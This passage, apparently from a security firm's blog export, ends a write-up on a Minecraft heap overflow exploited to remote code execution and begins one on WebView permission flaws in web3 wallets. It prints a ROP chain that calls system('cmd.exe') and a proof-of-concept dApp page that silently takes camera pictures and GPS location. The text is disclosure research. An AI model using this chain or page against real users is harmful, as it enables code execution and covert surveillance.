imported, so the chain must resolve it dynamically.",{"type":21,"tag":22,"props":156493,"children":156494},{},[156495,156497,156503,156505,156511,156513,156518,156520,156526,156528,156533],{"type":26,"value":156496},"This is straightforward: the chain first calls ",{"type":21,"tag":66,"props":156498,"children":156500},{"className":156499},[],[156501],{"type":26,"value":156502},"GetModuleHandle(\"ucrtbase.dll\")",{"type":26,"value":156504}," to obtain the base address of ",{"type":21,"tag":66,"props":156506,"children":156508},{"className":156507},[],[156509],{"type":26,"value":156510},"ucrtbase.dll",{"type":26,"value":156512}," (which exports ",{"type":21,"tag":66,"props":156514,"children":156516},{"className":156515},[],[156517],{"type":26,"value":132214},{"type":26,"value":156519},"). It then calls ",{"type":21,"tag":66,"props":156521,"children":156523},{"className":156522},[],[156524],{"type":26,"value":156525},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":26,"value":156527}," to retrieve the function’s address. Finally, it invokes ",{"type":21,"tag":66,"props":156529,"children":156531},{"className":156530},[],[156532],{"type":26,"value":132214},{"type":26,"value":156534}," with the \"cmd.exe\" string.",{"type":21,"tag":22,"props":156536,"children":156537},{},[156538],{"type":26,"value":156539},"In the exploit script, the ROP chain looks something like this:",{"type":21,"tag":75,"props":156541,"children":156543},{"code":156542,"language":19887,"meta":7,"className":19888,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[156544],{"type":21,"tag":66,"props":156545,"children":156546},{"__ignoreMap":7},[156547,156555,156563,156588,156596,156604,156611,156619,156627,156654,156667,156680,156701,156730,156759,156766,156774,156787,156795,156831,156839,156846,156854,156861,156886,156897,156909],{"type":21,"tag":85,"props":156548,"children":156549},{"class":87,"line":88},[156550],{"type":21,"tag":85,"props":156551,"children":156552},{"style":92},[156553],{"type":26,"value":156554},"# get the address of `GetModuleHandle` to `rax`\n",{"type":21,"tag":85,"props":156556,"children":156557},{"class":87,"line":98},[156558],{"type":21,"tag":85,"props":156559,"children":156560},{"style":114},[156561],{"type":26,"value":156562},"rop.gadget(pop_r8)\n",{"type":21,"tag":85,"props":156564,"children":156565},{"class":87,"line":151},[156566,156571,156575,156580,156584],{"type":21,"tag":85,"props":156567,"children":156568},{"style":114},[156569],{"type":26,"value":156570},"rop.gadget(addr_get_module_handle_a ",{"type":21,"tag":85,"props":156572,"children":156573},{"style":169},[156574],{"type":26,"value":5097},{"type":21,"tag":85,"props":156576,"children":156577},{"style":102},[156578],{"type":26,"value":156579}," 0x",{"type":21,"tag":85,"props":156581,"children":156582},{"style":2285},[156583],{"type":26,"value":135331},{"type":21,"tag":85,"props":156585,"children":156586},{"style":114},[156587],{"type":26,"value":2485},{"type":21,"tag":85,"props":156589,"children":156590},{"class":87,"line":160},[156591],{"type":21,"tag":85,"props":156592,"children":156593},{"style":92},[156594],{"type":26,"value":156595},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":21,"tag":85,"props":156597,"children":156598},{"class":87,"line":185},[156599],{"type":21,"tag":85,"props":156600,"children":156601},{"style":114},[156602],{"type":26,"value":156603},"rop.gadget(mov_rax_r8_28)\n",{"type":21,"tag":85,"props":156605,"children":156606},{"class":87,"line":501},[156607],{"type":21,"tag":85,"props":156608,"children":156609},{"emptyLinePlaceholder":16},[156610],{"type":26,"value":703},{"type":21,"tag":85,"props":156612,"children":156613},{"class":87,"line":697},[156614],{"type":21,"tag":85,"props":156615,"children":156616},{"style":92},[156617],{"type":26,"value":156618},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":21,"tag":85,"props":156620,"children":156621},{"class":87,"line":706},[156622],{"type":21,"tag":85,"props":156623,"children":156624},{"style":114},[156625],{"type":26,"value":156626},"rop.gadget(pop_rcx)\n",{"type":21,"tag":85,"props":156628,"children":156629},{"class":87,"line":1100},[156630,156635,156640,156645,156649],{"type":21,"tag":85,"props":156631,"children":156632},{"style":114},[156633],{"type":26,"value":156634},"rop.gadget(",{"type":21,"tag":85,"props":156636,"children":156637},{"style":102},[156638],{"type":26,"value":156639},"0x",{"type":21,"tag":85,"props":156641,"children":156642},{"style":2285},[156643],{"type":26,"value":156644},"7468B68",{"type":21,"tag":85,"props":156646,"children":156647},{"style":114},[156648],{"type":26,"value":736},{"type":21,"tag":85,"props":156650,"children":156651},{"style":92},[156652],{"type":26,"value":156653},"# offset of \"ucrtbase.dll\" string\n",{"type":21,"tag":85,"props":156655,"children":156656},{"class":87,"line":1339},[156657,156662],{"type":21,"tag":85,"props":156658,"children":156659},{"style":114},[156660],{"type":26,"value":156661},"rop.gadget(ret) ",{"type":21,"tag":85,"props":156663,"children":156664},{"style":92},[156665],{"type":26,"value":156666},"# movaps alignment\n",{"type":21,"tag":85,"props":156668,"children":156669},{"class":87,"line":1348},[156670,156675],{"type":21,"tag":85,"props":156671,"children":156672},{"style":114},[156673],{"type":26,"value":156674},"rop.gadget(push_rax_ret) ",{"type":21,"tag":85,"props":156676,"children":156677},{"style":92},[156678],{"type":26,"value":156679},"# calls `GetModuleHandle`\n",{"type":21,"tag":85,"props":156681,"children":156682},{"class":87,"line":1386},[156683,156688,156692,156697],{"type":21,"tag":85,"props":156684,"children":156685},{"style":114},[156686],{"type":26,"value":156687},"rop.literal(u64(",{"type":21,"tag":85,"props":156689,"children":156690},{"style":102},[156691],{"type":26,"value":3994},{"type":21,"tag":85,"props":156693,"children":156694},{"style":5026},[156695],{"type":26,"value":156696},"\"ucrtbase\"",{"type":21,"tag":85,"props":156698,"children":156699},{"style":114},[156700],{"type":26,"value":20139},{"type":21,"tag":85,"props":156702,"children":156703},{"class":87,"line":1394},[156704,156708,156712,156717,156722,156726],{"type":21,"tag":85,"props":156705,"children":156706},{"style":114},[156707],{"type":26,"value":156687},{"type":21,"tag":85,"props":156709,"children":156710},{"style":102},[156711],{"type":26,"value":3994},{"type":21,"tag":85,"props":156713,"children":156714},{"style":5026},[156715],{"type":26,"value":156716},"\".dll",{"type":21,"tag":85,"props":156718,"children":156719},{"style":48828},[156720],{"type":26,"value":156721},"\\x00\\x00\\x00\\x00",{"type":21,"tag":85,"props":156723,"children":156724},{"style":5026},[156725],{"type":26,"value":20487},{"type":21,"tag":85,"props":156727,"children":156728},{"style":114},[156729],{"type":26,"value":20139},{"type":21,"tag":85,"props":156731,"children":156732},{"class":87,"line":1402},[156733,156737,156741,156746,156751,156755],{"type":21,"tag":85,"props":156734,"children":156735},{"style":114},[156736],{"type":26,"value":156687},{"type":21,"tag":85,"props":156738,"children":156739},{"style":102},[156740],{"type":26,"value":3994},{"type":21,"tag":85,"props":156742,"children":156743},{"style":5026},[156744],{"type":26,"value":156745},"\"system",{"type":21,"tag":85,"props":156747,"children":156748},{"style":48828},[156749],{"type":26,"value":156750},"\\x00\\x00",{"type":21,"tag":85,"props":156752,"children":156753},{"style":5026},[156754],{"type":26,"value":20487},{"type":21,"tag":85,"props":156756,"children":156757},{"style":114},[156758],{"type":26,"value":20139},{"type":21,"tag":85,"props":156760,"children":156761},{"class":87,"line":3145},[156762],{"type":21,"tag":85,"props":156763,"children":156764},{"emptyLinePlaceholder":16},[156765],{"type":26,"value":703},{"type":21,"tag":85,"props":156767,"children":156768},{"class":87,"line":3246},[156769],{"type":21,"tag":85,"props":156770,"children":156771},{"style":92},[156772],{"type":26,"value":156773},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":21,"tag":85,"props":156775,"children":156776},{"class":87,"line":3255},[156777,156782],{"type":21,"tag":85,"props":156778,"children":156779},{"style":114},[156780],{"type":26,"value":156781},"rop.gadget(xchg_rcx_rax) ",{"type":21,"tag":85,"props":156783,"children":156784},{"style":92},[156785],{"type":26,"value":156786},"# move the return value of `GetModuleHandle` to rcx\n",{"type":21,"tag":85,"props":156788,"children":156789},{"class":87,"line":3286},[156790],{"type":21,"tag":85,"props":156791,"children":156792},{"style":114},[156793],{"type":26,"value":156794},"rop.gadget(pop_rdx)\n",{"type":21,"tag":85,"props":156796,"children":156797},{"class":87,"line":3295},[156798,156802,156806,156810,156814,156818,156822,156826],{"type":21,"tag":85,"props":156799,"children":156800},{"style":114},[156801],{"type":26,"value":156634},{"type":21,"tag":85,"props":156803,"children":156804},{"style":102},[156805],{"type":26,"value":156639},{"type":21,"tag":85,"props":156807,"children":156808},{"style":2285},[156809],{"type":26,"value":156644},{"type":21,"tag":85,"props":156811,"children":156812},{"style":169},[156813],{"type":26,"value":3274},{"type":21,"tag":85,"props":156815,"children":156816},{"style":102},[156817],{"type":26,"value":156579},{"type":21,"tag":85,"props":156819,"children":156820},{"style":2285},[156821],{"type":26,"value":89715},{"type":21,"tag":85,"props":156823,"children":156824},{"style":114},[156825],{"type":26,"value":736},{"type":21,"tag":85,"props":156827,"children":156828},{"style":92},[156829],{"type":26,"value":156830},"# offset of \"system\" string\n",{"type":21,"tag":85,"props":156832,"children":156833},{"class":87,"line":3308},[156834],{"type":21,"tag":85,"props":156835,"children":156836},{"style":114},[156837],{"type":26,"value":156838},"rop.gadget(get_proc_addr)\n",{"type":21,"tag":85,"props":156840,"children":156841},{"class":87,"line":3333},[156842],{"type":21,"tag":85,"props":156843,"children":156844},{"emptyLinePlaceholder":16},[156845],{"type":26,"value":703},{"type":21,"tag":85,"props":156847,"children":156848},{"class":87,"line":3369},[156849],{"type":21,"tag":85,"props":156850,"children":156851},{"style":92},[156852],{"type":26,"value":156853},"# call `system(\"cmd.exe\")`\n",{"type":21,"tag":85,"props":156855,"children":156856},{"class":87,"line":3377},[156857],{"type":21,"tag":85,"props":156858,"children":156859},{"style":114},[156860],{"type":26,"value":156626},{"type":21,"tag":85,"props":156862,"children":156863},{"class":87,"line":3386},[156864,156868,156872,156877,156881],{"type":21,"tag":85,"props":156865,"children":156866},{"style":114},[156867],{"type":26,"value":156634},{"type":21,"tag":85,"props":156869,"children":156870},{"style":102},[156871],{"type":26,"value":156639},{"type":21,"tag":85,"props":156873,"children":156874},{"style":2285},[156875],{"type":26,"value":156876},"7468DB8",{"type":21,"tag":85,"props":156878,"children":156879},{"style":114},[156880],{"type":26,"value":736},{"type":21,"tag":85,"props":156882,"children":156883},{"style":92},[156884],{"type":26,"value":156885},"# offset of \"cmd.exe\" string\n",{"type":21,"tag":85,"props":156887,"children":156888},{"class":87,"line":3394},[156889,156893],{"type":21,"tag":85,"props":156890,"children":156891},{"style":114},[156892],{"type":26,"value":156661},{"type":21,"tag":85,"props":156894,"children":156895},{"style":92},[156896],{"type":26,"value":156666},{"type":21,"tag":85,"props":156898,"children":156899},{"class":87,"line":3410},[156900,156904],{"type":21,"tag":85,"props":156901,"children":156902},{"style":114},[156903],{"type":26,"value":156674},{"type":21,"tag":85,"props":156905,"children":156906},{"style":92},[156907],{"type":26,"value":156908},"# calls `system`\n",{"type":21,"tag":85,"props":156910,"children":156911},{"class":87,"line":3427},[156912,156916,156920,156925,156930,156934],{"type":21,"tag":85,"props":156913,"children":156914},{"style":114},[156915],{"type":26,"value":156687},{"type":21,"tag":85,"props":156917,"children":156918},{"style":102},[156919],{"type":26,"value":3994},{"type":21,"tag":85,"props":156921,"children":156922},{"style":5026},[156923],{"type":26,"value":156924},"\"cmd.exe",{"type":21,"tag":85,"props":156926,"children":156927},{"style":48828},[156928],{"type":26,"value":156929},"\\x00",{"type":21,"tag":85,"props":156931,"children":156932},{"style":5026},[156933],{"type":26,"value":20487},{"type":21,"tag":85,"props":156935,"children":156936},{"style":114},[156937],{"type":26,"value":20139},{"type":21,"tag":10022,"props":156939,"children":156941},{"id":156940},"demo",[156942],{"type":26,"value":156943},"Demo",{"type":21,"tag":22,"props":156945,"children":156946},{},[156947],{"type":26,"value":156948},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":21,"tag":132320,"props":156950,"children":156953},{"className":156951,"controls":16},[142287,156952],"blog-video-wide",[156954,156955,156959],{"type":26,"value":142290},{"type":21,"tag":141526,"props":156956,"children":156958},{"src":156957,"type":132318},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":26,"value":142296},{"type":21,"tag":54,"props":156961,"children":156962},{"id":29375},[156963],{"type":26,"value":19373},{"type":21,"tag":22,"props":156965,"children":156966},{},[156967],{"type":26,"value":156968},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":21,"tag":22,"props":156970,"children":156971},{},[156972],{"type":26,"value":156973},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":21,"tag":22,"props":156975,"children":156976},{},[156977],{"type":26,"value":156978},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":21,"tag":3632,"props":156980,"children":156981},{},[156982],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":156984},[156985,156989,156994,157005],{"id":147645,"depth":98,"text":147648,"children":156986},[156987,156988],{"id":147680,"depth":151,"text":147683},{"id":147696,"depth":151,"text":147699},{"id":147717,"depth":98,"text":147720,"children":156990},[156991,156992,156993],{"id":147733,"depth":151,"text":147736},{"id":147821,"depth":151,"text":147824},{"id":150121,"depth":151,"text":150124},{"id":6186,"depth":98,"text":6189,"children":156995},[156996,156997,156998,156999,157000,157001,157002,157003,157004],{"id":150228,"depth":151,"text":150231},{"id":150253,"depth":151,"text":150256},{"id":150390,"depth":151,"text":150393},{"id":152554,"depth":151,"text":152557},{"id":152916,"depth":151,"text":152919},{"id":153736,"depth":151,"text":153739},{"id":155850,"depth":151,"text":155853},{"id":156468,"depth":151,"text":156471},{"id":156940,"depth":151,"text":156943},{"id":29375,"depth":98,"text":19373},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":157010,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157011,"description":157012,"date":157013,"author":157014,"image":157016,"isFeatured":16,"onBlogPage":16,"tags":157018,"body":157020,"_type":3642,"_id":159343,"_source":3644,"_file":159344,"_stem":159345,"_extension":3647},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[31646,31645,157015],"nikolaos",{"src":157017,"width":97730,"height":14041},"/posts/insecure-webview-integrations/title.png",[32586,132426,157019],"webview",{"type":18,"children":157021,"toc":159330},[157022,157027,157032,157038,157043,157048,157053,157059,157064,157070,157092,157105,157125,157139,157145,157159,157167,157172,157178,157183,157192,157213,157357,157362,157368,157373,157378,157392,157396,157401,157419,158847,158851,158856,158868,158877,158882,158888,158910,158918,158923,158929,158934,158952,158957,158963,158976,159258,159286,159299,159304,159317,159321,159326],{"type":21,"tag":22,"props":157023,"children":157024},{},[157025],{"type":26,"value":157026},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":21,"tag":22,"props":157028,"children":157029},{},[157030],{"type":26,"value":157031},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":21,"tag":35820,"props":157033,"children":157035},{"id":157034},"exploiting-mobile-webviews",[157036],{"type":26,"value":157037},"Exploiting Mobile WebViews",{"type":21,"tag":22,"props":157039,"children":157040},{},[157041],{"type":26,"value":157042},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":21,"tag":22,"props":157044,"children":157045},{},[157046],{"type":26,"value":157047},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":21,"tag":22,"props":157049,"children":157050},{},[157051],{"type":26,"value":157052},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":21,"tag":54,"props":157054,"children":157056},{"id":157055},"handling-webview-permissions",[157057],{"type":26,"value":157058},"Handling WebView permissions",{"type":21,"tag":22,"props":157060,"children":157061},{},[157062],{"type":26,"value":157063},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":21,"tag":10022,"props":157065,"children":157067},{"id":157066},"android",[157068],{"type":26,"value":157069},"Android",{"type":21,"tag":22,"props":157071,"children":157072},{},[157073,157075,157082,157084,157090],{"type":26,"value":157074},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":21,"tag":335,"props":157076,"children":157079},{"href":157077,"rel":157078},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[339],[157080],{"type":26,"value":157081},"onPermissionRequest",{"type":26,"value":157083},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":21,"tag":66,"props":157085,"children":157087},{"className":157086},[],[157088],{"type":26,"value":157089},"PermissionRequest",{"type":26,"value":157091}," object where the WebView developers must decide whether to grant or deny it.",{"type":21,"tag":3712,"props":157093,"children":157094},{},[157095],{"type":21,"tag":22,"props":157096,"children":157097},{},[157098,157100,157103],{"type":26,"value":157099},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":21,"tag":85,"props":157101,"children":157102},{},[],{"type":26,"value":157104},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":21,"tag":22,"props":157106,"children":157107},{},[157108,157110,157116,157118,157124],{"type":26,"value":157109},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":21,"tag":66,"props":157111,"children":157113},{"className":157112},[],[157114],{"type":26,"value":157115},"getOrigin()",{"type":26,"value":157117}," and the requested permissions with ",{"type":21,"tag":66,"props":157119,"children":157121},{"className":157120},[],[157122],{"type":26,"value":157123},"getResources()",{"type":26,"value":73},{"type":21,"tag":22,"props":157126,"children":157127},{},[157128,157130,157137],{"type":26,"value":157129},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":21,"tag":335,"props":157131,"children":157134},{"href":157132,"rel":157133},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[339],[157135],{"type":26,"value":157136},"webview_shell",{"type":26,"value":157138},". In this instance, no origin checks are performed.",{"type":21,"tag":10022,"props":157140,"children":157142},{"id":157141},"ios",[157143],{"type":26,"value":157144},"iOS",{"type":21,"tag":22,"props":157146,"children":157147},{},[157148,157150,157157],{"type":26,"value":157149},"On the contrary, iOS ",{"type":21,"tag":335,"props":157151,"children":157154},{"href":157152,"rel":157153},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[339],[157155],{"type":26,"value":157156},"documentation",{"type":26,"value":157158}," states that:",{"type":21,"tag":3712,"props":157160,"children":157161},{},[157162],{"type":21,"tag":22,"props":157163,"children":157164},{},[157165],{"type":26,"value":157166},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":21,"tag":22,"props":157168,"children":157169},{},[157170],{"type":26,"value":157171},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":21,"tag":54,"props":157173,"children":157175},{"id":157174},"the-shortcomings-of-webview-implementations",[157176],{"type":26,"value":157177},"The shortcomings of WebView implementations",{"type":21,"tag":22,"props":157179,"children":157180},{},[157181],{"type":26,"value":157182},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":21,"tag":31791,"props":157184,"children":157185},{"style":31793},[157186],{"type":21,"tag":4681,"props":157187,"children":157191},{"src":157188,"alt":157189,"style":157190},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":157193,"children":157194},{},[157195,157197,157203,157205,157211],{"type":26,"value":157196},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":21,"tag":66,"props":157198,"children":157200},{"className":157199},[],[157201],{"type":26,"value":157202},"react-native-webview",{"type":26,"value":157204},". If we take a look at how they handle a request that reaches the ",{"type":21,"tag":335,"props":157206,"children":157209},{"href":157207,"rel":157208},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[339],[157210],{"type":26,"value":157081},{"type":26,"value":157212}," method, we see a similar pattern.",{"type":21,"tag":75,"props":157214,"children":157218},{"className":157215,"code":157216,"language":157217,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[157219],{"type":21,"tag":66,"props":157220,"children":157221},{"__ignoreMap":7},[157222,157230,157259,157319,157339,157350],{"type":21,"tag":85,"props":157223,"children":157224},{"class":87,"line":88},[157225],{"type":21,"tag":85,"props":157226,"children":157227},{"style":92},[157228],{"type":26,"value":157229},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":21,"tag":85,"props":157231,"children":157232},{"class":87,"line":98},[157233,157237,157241,157246,157250,157255],{"type":21,"tag":85,"props":157234,"children":157235},{"style":2885},[157236],{"type":26,"value":15999},{"type":21,"tag":85,"props":157238,"children":157239},{"style":114},[157240],{"type":26,"value":717},{"type":21,"tag":85,"props":157242,"children":157243},{"style":120},[157244],{"type":26,"value":157245},"requestedAndroidPermissions",{"type":21,"tag":85,"props":157247,"children":157248},{"style":114},[157249],{"type":26,"value":73},{"type":21,"tag":85,"props":157251,"children":157252},{"style":1021},[157253],{"type":26,"value":157254},"isEmpty",{"type":21,"tag":85,"props":157256,"children":157257},{"style":114},[157258],{"type":26,"value":92483},{"type":21,"tag":85,"props":157260,"children":157261},{"class":87,"line":151},[157262,157267,157271,157276,157280,157285,157289,157294,157298,157302,157307,157311,157315],{"type":21,"tag":85,"props":157263,"children":157264},{"style":120},[157265],{"type":26,"value":157266},"    request",{"type":21,"tag":85,"props":157268,"children":157269},{"style":114},[157270],{"type":26,"value":73},{"type":21,"tag":85,"props":157272,"children":157273},{"style":1021},[157274],{"type":26,"value":157275},"grant",{"type":21,"tag":85,"props":157277,"children":157278},{"style":114},[157279],{"type":26,"value":1439},{"type":21,"tag":85,"props":157281,"children":157282},{"style":120},[157283],{"type":26,"value":157284},"grantedPermissions",{"type":21,"tag":85,"props":157286,"children":157287},{"style":114},[157288],{"type":26,"value":73},{"type":21,"tag":85,"props":157290,"children":157291},{"style":1021},[157292],{"type":26,"value":157293},"toArray",{"type":21,"tag":85,"props":157295,"children":157296},{"style":114},[157297],{"type":26,"value":1439},{"type":21,"tag":85,"props":157299,"children":157300},{"style":2885},[157301],{"type":26,"value":15541},{"type":21,"tag":85,"props":157303,"children":157304},{"style":108},[157305],{"type":26,"value":157306}," String",{"type":21,"tag":85,"props":157308,"children":157309},{"style":114},[157310],{"type":26,"value":3016},{"type":21,"tag":85,"props":157312,"children":157313},{"style":2285},[157314],{"type":26,"value":4789},{"type":21,"tag":85,"props":157316,"children":157317},{"style":114},[157318],{"type":26,"value":103974},{"type":21,"tag":85,"props":157320,"children":157321},{"class":87,"line":160},[157322,157327,157331,157335],{"type":21,"tag":85,"props":157323,"children":157324},{"style":114},[157325],{"type":26,"value":157326},"    grantedPermissions ",{"type":21,"tag":85,"props":157328,"children":157329},{"style":169},[157330],{"type":26,"value":741},{"type":21,"tag":85,"props":157332,"children":157333},{"style":102},[157334],{"type":26,"value":70729},{"type":21,"tag":85,"props":157336,"children":157337},{"style":114},[157338],{"type":26,"value":2535},{"type":21,"tag":85,"props":157340,"children":157341},{"class":87,"line":185},[157342,157346],{"type":21,"tag":85,"props":157343,"children":157344},{"style":2885},[157345],{"type":26,"value":17411},{"type":21,"tag":85,"props":157347,"children":157348},{"style":114},[157349],{"type":26,"value":2535},{"type":21,"tag":85,"props":157351,"children":157352},{"class":87,"line":501},[157353],{"type":21,"tag":85,"props":157354,"children":157355},{"style":114},[157356],{"type":26,"value":2671},{"type":21,"tag":22,"props":157358,"children":157359},{},[157360],{"type":26,"value":157361},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":21,"tag":10022,"props":157363,"children":157365},{"id":157364},"real-world-exploitation",[157366],{"type":26,"value":157367},"Real world exploitation",{"type":21,"tag":22,"props":157369,"children":157370},{},[157371],{"type":26,"value":157372},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":21,"tag":22,"props":157374,"children":157375},{},[157376],{"type":26,"value":157377},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":21,"tag":22,"props":157379,"children":157380},{},[157381,157383,157390],{"type":26,"value":157382},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":21,"tag":335,"props":157384,"children":157387},{"href":157385,"rel":157386},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[339],[157388],{"type":26,"value":157389},"Justson",{"type":26,"value":157391},", used by a popular wallet in the Stellar ecosystem.",{"type":21,"tag":19318,"props":157393,"children":157394},{"id":39953},[157395],{"type":26,"value":35276},{"type":21,"tag":22,"props":157397,"children":157398},{},[157399],{"type":26,"value":157400},"In order to exploit this issue, we assume the following preconditions:",{"type":21,"tag":841,"props":157402,"children":157403},{},[157404,157409,157414],{"type":21,"tag":845,"props":157405,"children":157406},{},[157407],{"type":26,"value":157408},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":21,"tag":845,"props":157410,"children":157411},{},[157412],{"type":26,"value":157413},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":21,"tag":845,"props":157415,"children":157416},{},[157417],{"type":26,"value":157418},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":21,"tag":75,"props":157420,"children":157422},{"className":50477,"code":157421,"language":32828,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    